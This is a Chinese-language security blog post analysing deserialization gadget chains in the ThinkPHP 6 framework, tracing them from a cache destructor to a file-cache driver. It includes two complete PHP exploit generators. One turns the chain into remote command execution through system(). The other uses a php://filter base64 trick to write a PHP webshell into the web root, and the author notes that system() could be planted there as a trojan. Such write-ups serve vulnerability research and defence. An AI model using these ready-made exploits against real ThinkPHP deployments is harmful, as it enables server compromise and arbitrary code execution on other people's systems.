thinkphp6的另反序列化分析

Forward

之前分析過tp6的一個鏈;當時是利用__toString方法去進行的中轉,從而實現前後兩個鏈的鏈接,這次是兩個另外鏈條;利用的是可控類下的固定方法進行中轉;開始分析;

首先環境可以composer一鍵搭建,然後php think run進行跑起來就可;

本文涉及知識點實操練習:ThinkPHP5遠程命令執行漏洞(通過該實驗瞭解ThinkPHP5遠程命令執行漏洞的原因和利用方法,以及如何修復該漏洞。)

text

首先的想法就是利用析構函數進行最開始的觸發;然後一路追蹤魔法函數去進行一步一步的推導;首先找到魔法函數在AbstractCache類下;

protected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}

其代碼如上;可以看到autosave可以可控;這裏我們可以手動給其複製爲false;從而可以觸發save方法;

回溯save方法;在CacheStore中找到了save方法;具體代碼如下;

public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}

可以看到其調用了getForStorage方法,然後將其賦值給$contents變量。這裏追隨一下這個方法;

public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}

發現首先調用了cleanContents方法;然後在調用了json_encode方法,這裏首先回溯一下cleanContents方法;

public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}

首先在這裏看到了array_flip方法;這個方法是將數組的鍵名和鍵值進行替換;然後數組賦值給$cachedProperties變量;然後將我們傳入的參數按照$path和$object的格式來進行各個遍歷;然後將鍵名經過is_array方法的判斷如果爲true則進行後續的函數處理;否則就直接return $content這個數組;經過這一系列操作完之後,最終是return到了save函數裏;然後接着去進行 $this->store->set($this->key, $contents, $this->expire);這裏我們發現store也可控;那麼就有兩種思路,第一個就是去實例化一個有set方法的類,或者我們實例化一個存在__call方法的類;從而可以因爲訪問不存在的方法去調用到call魔術方法;這裏我們先找到一個有set方法的類;在File類中找到:

public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 創建失敗 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //數據壓縮 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}

這裏可利用點在後面的serialize方法;直接追溯一下;

protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}

這裏發現options參量可控;這裏就存在一個問題,如果我們將其賦值爲system,那麼後續return的就是我們命令執行函數,裏面的data我們是可以傳入的,那麼我們就可以實現RCE;

這裏放出我自己寫的exp;

<?php#bash回顯;網頁不回顯;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['id']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}

最後達到的效果就是system(xxxx);這裏當時我測試沒有回顯,後來將代碼調試了一下,發現是system裏面參數的問題,後來我想到linux或者unix下反引號也是可以當做命令執行的,而且是可以首先執行的;所以我將代碼改了下,嵌入反引號,這樣可以更好的進行命令執行,但是這樣的缺點就是可以執行,但是無回顯;但是我們依然可以進行一些惡意操作;

img

通過這個鏈,相信可以發現一些端倪,除了可以rce以外,這個鏈在最後的利用地方還有一個file_put_contents這個也是可以利用的;

下面利用的一些騷姿勢如果有師傅不太理解,可以看這個鏈接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/

下面也講述一下;利用鏈和之前的是一樣的;就是最後需要掌控一下filename和data的內容;我們可以看到如下圖;

img

在最後的時候會有一個data的拼接,我本來想着在格式化那裏嘗試引入,但是格式化已經寫死了,不能利用非法字符進行污染格式化引入危險代碼;所以只能在最後的data處進行寫入拼接;現在就是要控制data了;其實這裏data是調用了serialize方法,追溯一下不難發現是將數組option中的serialize的鍵值拿出來套在了data前面;其實本質上也無大礙;但是這裏有個小坑;因爲是$serialize($data);所以這裏要求這樣的搭配必須是正確的,如果你隨意傳入函數,造成比如adsf($data);這樣類型的不規則函數,就會導致報錯,從而無法進行;

明白了這一點其實還有一個小坑;其實option的內容我們是可控的;那麼我們就可以控制serialize的鍵值進行傳入;但是這裏因爲之前進行了json_encode所以一般的函數最後構成的格式都無法進行base64解密;但是這裏有個例外,我測試了serialize函數,發現經過序列化之後,我們可以正常進行base64解密;大概是因爲可以構成字符串的原因吧;這裏放出我的exp;

<?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', 'hash_type' => 'md5', 'serialize' => ['serialize'], 'data_compress' => false ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}

另外可能有很多師傅困惑在可寫目錄的問題,這裏我才用了虛目錄的方法將其定位到了public目錄之下;就在path參數那裏可以體現;

img

最後訪問結果是執行phpinfo;當然也可以寫入system這樣的命令執行函數;造成木馬利用;

img

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章